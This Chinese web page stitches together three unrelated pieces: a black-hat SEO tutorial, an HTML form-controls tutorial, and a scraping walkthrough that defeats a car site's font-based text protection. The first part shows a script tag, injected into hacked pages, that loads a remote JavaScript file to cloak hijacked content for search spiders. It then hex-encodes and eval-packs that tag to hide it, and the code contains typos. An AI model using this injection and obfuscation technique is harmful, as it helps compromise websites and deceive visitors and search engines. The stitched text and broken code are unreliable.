一些黑帽SEO要對跳轉(zhuǎn)的js代碼進(jìn)行加密,學(xué)習(xí)JavaScript加密方式,當(dāng)我們網(wǎng)站被黑時,看到這段代碼就明白這就是快照劫持的代碼,刪掉即可解決網(wǎng)站被黑問題。今天,錯誤博客(cuowu.com)分享的內(nèi)容為《黑帽SEO教程為html中的js跳轉(zhuǎn)url加密》。希望對大家有所幫助。
JavaScript跳轉(zhuǎn)是黑帽SEO中快照劫持常見操作手法,比如在寄生蟲程序使用中,在被黑掉的html或php中增加如下代碼就可以完成快照劫持:
<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>
這段JavaScript代碼的作用是引入v6.js文件,v6.js文件中的內(nèi)容為if判斷語句,如果訪問的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,則顯示劫持的快照內(nèi)容,如果是用戶直接訪問瀏覽器則會顯示原頁面內(nèi)容。
首先把上面的命令增加為如下:
window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;
然后,對前面雙引號內(nèi)的內(nèi)容進(jìn)行16進(jìn)制加密,后面單引號內(nèi)容也同樣進(jìn)行16進(jìn)制加密,依次為:
\x64\x6f\x63\x75\x6d\x65\x6e\x74
\x77\x72\x69\x74\x65
\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73
這個可以用utf-8轉(zhuǎn)16進(jìn)制加密在線工具即可。錯誤博客站長導(dǎo)航里面有。
站長導(dǎo)航(https://cuowu.com/daohang/)
加密完成后變?yōu)椋?/span>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
然后,把上述的js代碼再次補(bǔ)充一下才能正常運(yùn)行,即:
<script type=”text/javascript”>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
</script>
把中間window到</script>;的內(nèi)容利用站長工具的JS混淆加密壓縮就可以得到eval加密形式,錯誤博客站長導(dǎo)航里面有。
站長導(dǎo)航(https://cuowu.com/daohang/)
獲得如下加密代碼如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
最終獲得的加密代碼如下:
<script type=”text/javascript”>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
</script>
這就是全部的js加密壓縮過程了,解壓過程反過來推就可以了。
以上就是錯誤博客(https://cuowu.com/)分享的內(nèi)容為《黑帽SEO為html中的js加密(js混淆與16進(jìn)制加密)》。感謝您的閱讀。更多原創(chuàng)搜索“錯誤博客”。
篇介紹了表單的使用,表單有很多控件,比如輸入框,密碼框、文本域,按鈕等。按類型可分如下:
此類控件有很多種類型,使用<input type="類型">語法,常見類型如下:
type 值 | 含義 |
text | 文字字段 |
password | 密碼域,用戶看不到明文,以*代替 |
radio | 單選按鈕 |
checkbox | 多選按鈕 |
button | 普通按鈕 |
submit | 提交按鈕 |
reset | 重置按鈕 |
image | 圖像域,用圖像作為背景的提交按鈕 |
hidden | 隱藏域,不可見的輸入框 |
file | 文本域,用于上傳文件等非文本數(shù)據(jù) |
文本輸入框和密碼框
除了顯示形式不一樣,其它屬性一樣,有以下屬性:
如下是文本輸入框和密碼框制作一個登錄表單
html代碼:
<!DOCTYPE html>
<html>
<body>
<h1>用戶登錄</h1>
<form action="/demo/html/action_page.php">
<label for="fname">用戶名:</label><br>
<input type="text" id="username" name="username" value=""><br>
<label for="lname">密碼:</label><br>
<input type="password" id="pwsd" name="pwsd" value=""><br><br>
<input type="submit" value="提交">
</form>
</body>
</html>
顯示效果:
HTML5 輸入類型
除了以上幾種類型,HTML5 還增加了多個新的輸入類型:
如下代碼:
<!DOCTYPE html>
<html>
<body>
<form action="/demo/demo_form.asp">
數(shù)字類型(1 到 5 之間):
<input type="number" name="quantity" min="1" max="5">
IE9 及早期版本不支持 type="number"。<br>
color 選擇顏色:
<input type="color" name="color"><br>
生日:
<input type="date" name="bday"><br>
年月:
<input type="month" name="bdaymonth"><br>
年周:
<input type="week" name="week_year"><br>
時間:
<input type="time" name="usr_time"><br>
一定范圍
<input type="range" name="points" min="0" max="10"><br>
E-mail:
<input type="email" name="email">
能夠在被提交時自動對電子郵件地址進(jìn)行驗(yàn)證<br>
搜索:
<input type="search" name="googlesearch"><br>
電話:
<input type="tel" name="usrtel">
目前只有 Safari 8 支持 tel 類型。<br>
url:
<input type="url" name="url">
提交時能夠自動驗(yàn)證 url 字段<br>
<input type="submit">
</form>
</body>
</html>
效果如下:
單選和多選按鈕
使用 type=“radio” 和 type=“checkbox” 定義是單選還是多選,除了name和value屬性外,單選和多選都有一個 checked屬性定義默認(rèn)選擇的項(xiàng),checked=“true”指選中那個選項(xiàng),表單會將 checked=“true” 的選型值傳遞給后臺。
如下實(shí)例:
<!DOCTYPE html>
<html>
<body>
<h4>單選和多選</h4>
<form action="/demo/demo_form.asp">
水果:
<input type="radio" name="shuiguo" value="banner" checked> 香蕉
<input type="radio" name="shuiguo" value="apple"> 蘋果
<br><br>
省份:
<input type="checkbox" name="shengfen" value="shannxi" checked> 陜西
<input type="checkbox" name="shengfen" value="sanxi"> 山西
<input type="checkbox" name="shengfen" value="gdong"> 廣東
<br><br>
<input type="submit">
</form>
</body>
</html>
顯示效果:
單選和多選傳遞給后臺的數(shù)據(jù)是不一樣的,如下會看到地址欄中的數(shù)據(jù),多選會發(fā)送多個值,后臺將會獲取一個數(shù)組形式的數(shù)據(jù)。
/demo/demo_form.asp?shuiguo=banner&shengfen=shannxi&shengfen=sanxi
普通按鈕、提交按鈕、重置按鈕
普通按鈕:type=“button”,一般配合腳本使用,語法如下:
<input type="button" name="名稱" value="按鈕值" onclick="腳本程序" />
value 值就是按鈕在頁面顯示的文字,onclick屬性定義了腳本事件,這里指單擊按鈕時所進(jìn)行的處理。
如下示例:
<!DOCTYPE html>
<html>
<body>
<form>
<input type="button" value="普通按鈕">
<input type="button" value="打開窗口" onclick="window.open()">
<input type="button" value="您好" onclick="alert('您好')">
</form>
</body>
</html>
單擊您好按鈕
提交按鈕:type=“submit”,用于提交表單內(nèi)容,是一種特殊按鈕。
如剛才的登錄表單,提交后會返回結(jié)果:
重置按鈕:type="reset",用于清除表單數(shù)據(jù),也是一種特殊按鈕。
輸入數(shù)據(jù)
點(diǎn)擊重置按鈕后,表單數(shù)據(jù)清空
重置清空數(shù)據(jù)
HTML5 按鈕
除了使用input定義按鈕,還可以使用 html5 新增的<button> 標(biāo)簽定義按鈕,button 使用語法如下:
<form action="/demo/html/action_page.php">
<button type="button">普通按鈕</button>
<button type="submit">提交按鈕</button>
</form>
其它輸入類控件
隱藏域 —— hidden
文件域 —— file
如下示例:
<form action="/demo/html/action_page.php">
<label for="fname">隱藏域:</label>
<input type="hidden" id="hidden" name="hidden" value=""><br>
<label for="lname">文件域:</label>
<input type="file" id="file" name="file" value=""><br>
<input type="submit" value="提交">
</form>
顯示效果
可以看到,隱藏域在頁面中不顯示,單擊文件域選擇文件按鈕可以選擇文件,比如word文件,電子表格文件等,會以非文本方式傳送到后臺的,常用來實(shí)現(xiàn)文件上傳功能。
除了input 類型的控件,還有文本域 textarea ,一種特殊的文本框,它與input 文本輸入框的區(qū)別就是可以輸入多行文字,input 文本輸入框是單行的無法輸入多行文字。
如下示例:
<p>textarea 元素定義多行輸入字段。</p>
<form action="/demo/html/action_page.php">
<textarea name="message" rows="10" cols="30">The cat was playing in the garden.</textarea>
<br><br>
<input type="submit">
</form>
效果如下:
rows 屬性定義文本域的高度是幾行,cols 定義文本域?qū)挾日紟琢?,比如上面定義了高10行寬30列的文本域。
下拉菜單作用和單選按鈕類似,只不過它更加節(jié)省空間,當(dāng)要選擇的選型很多時,就不適合使用radio空間,所以當(dāng)選項(xiàng)很多的時候,使用下拉菜單,語法如下:
<select name="名稱">
<option value="選項(xiàng)值1" selected>選項(xiàng)1</option>
<option value="選項(xiàng)值2">選項(xiàng)3</option>
更多option......
</select>
多選列表和多選按鈕類似,一樣為了節(jié)省空間,當(dāng)數(shù)據(jù)選項(xiàng)比較多時,使用多選列表,語法如下:
<select name="名稱" size="可看見的列表項(xiàng)數(shù)" multiple>
<option value="選項(xiàng)值1" selected>選項(xiàng)1</option>
<option value="選項(xiàng)值2">選項(xiàng)3</option>
更多option......
</select>
多選比下拉菜單不同之處是多了一個multiple屬性,定義多選的,且表現(xiàn)形式也不一樣,不是下拉而是一個列表。
如下代碼:
<!DOCTYPE html>
<html>
<body>
<form action="/demo/demo_form.asp">
下拉菜單:<br>
<select name="cars">
<option value="volvo">Volvo</option>
<option value="saab">Saab</option>
<option value="fiat">Fiat</option>
<option value="audi">Audi</option>
</select>
<br>
多選列表:<br>
<select name="cars" size="3" multiple>
<option value="volvo">Volvo</option>
<option value="saab">Saab</option>
<option value="fiat">Fiat</option>
<option value="audi">Audi</option>
</select>
<br><br>
<input type="submit">
</form>
</body>
</html>
顯示效果:
這里需要注意的是,多選列表多選時需要按住ctrl鍵同時鼠標(biāo)單擊選擇才能多選,效果如下:
到這里,已介紹了大部分的表單控件,現(xiàn)在你可以使用他們制作自己的表單,表單通常在動態(tài)網(wǎng)站中使用,這為以后制作動態(tài)網(wǎng)站打下基礎(chǔ)。
還有許多屬性沒有講到,比如html5新增的一些屬性和功能,可自行參考 w3cshool 等網(wǎng)站學(xué)習(xí),感謝關(guān)注,學(xué)習(xí)愉快!
上篇 : 前端入門——html 表單
下篇: 前端入門 —— 網(wǎng)頁中使用窗口框架
標(biāo)站點(diǎn):
aHR0cHMlM0EvL2subS5hdXRvaG9tZS5jb20uY24vZGV0YWlsL3NoYXJlXzAxZG1xeThmYTE2OHZrYWU5aDYwdmcwMDAwLmh0bWw=
該地址經(jīng)過base64加密,可以通過如下地址進(jìn)行解密:
https://base64.supfree.net
準(zhǔn)備工具:
chome瀏覽器,python3.7語言環(huán)境,pycharm,百度字體編輯器:http://fontstore.baidu.com/static/editor/index.html
破解方法:
1、打開chrome瀏覽器,在瀏覽器地址欄中輸入目標(biāo)地址,打開網(wǎng)頁后,在頁面中點(diǎn)擊鼠標(biāo)右鍵,選擇檢查,可以看到相關(guān)文字已被加密。
文字被加密
2、可以通過復(fù)制,來驗(yàn)證文字是否被加密。如復(fù)制:
老朋友的推薦
復(fù)制出的文字為:
老朋友?推薦
3、此類現(xiàn)象為文字被CSS樣式加密,破解步驟如下:
1、通過瀏覽器開發(fā)者模式,找到頁面中文字所使用的css樣式 2、通過抓包等方法找到加載的css文件,通過正則表達(dá)式取出字體文件URL 3、通過百度字體編輯器解析woff文件:http://fontstore.baidu.com/static/editor/index.html 4、使用fontTools處理字體文件,得出對應(yīng)關(guān)系 5、通過對應(yīng)關(guān)系解析加密字體
4、首先使用python的request模塊請求該頁面,通過正則表達(dá)式獲取字體文件URL,請求該URL,獲取到字體文件,寫入到本地。
5、通過百度字體編輯器,解析ttf文件
6、通過百度字體編輯器,可以看到,"的"對應(yīng)的字體編碼為"$EC2A",接下來通過python下的fontTools模塊讀取該TTF文件,并建立文字對應(yīng)關(guān)系,保存為字典。
7、通過for循環(huán)遍歷該文字對應(yīng)關(guān)系字典,對原網(wǎng)頁返回進(jìn)行替換,即可得到正常數(shù)據(jù)。
老朋友的推薦,去看了一幾個牌子,頭都看暈了,沒有結(jié)果,決定不了買哪個牌子,九了女兒意見,準(zhǔn)備在榮威里面選盤款。性價上最高的就是I5了,看中這款的原因,并不是因?yàn)榕渲酶?,也不是養(yǎng)力強(qiáng),而是囊中羞澀,預(yù)算控有那么電啊?,而榮威這個品牌過硬,質(zhì)量可靠,故障率低,朋友買了都說挺一的。暫時沒有,還是覺外有點(diǎn)說不過去啊!買車看車子做這個決定,是和女兒共同商量決定的,我看中的是這個牌子的知名度,品質(zhì)這些方面,女兒的話是喜歡這款車型的十觀,女孩子嘛,都是十貌協(xié)會,兩廂車上較炫酷,十形時尚養(yǎng)感,適合年輕妹子。女兒盤看就中意了。
代碼參考:
https://github.com/freedom-wy/js-reverse/tree/master/autohome/koubei
歡迎交流,一起學(xué)習(xí),一起進(jìn)步。
另外,我在慕課網(wǎng)上主講課程:
《Python爬蟲工程師必學(xué)——App數(shù)據(jù)抓取實(shí)戰(zhàn)》,還請各位大神多多支持。課程地址:
*請認(rèn)真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。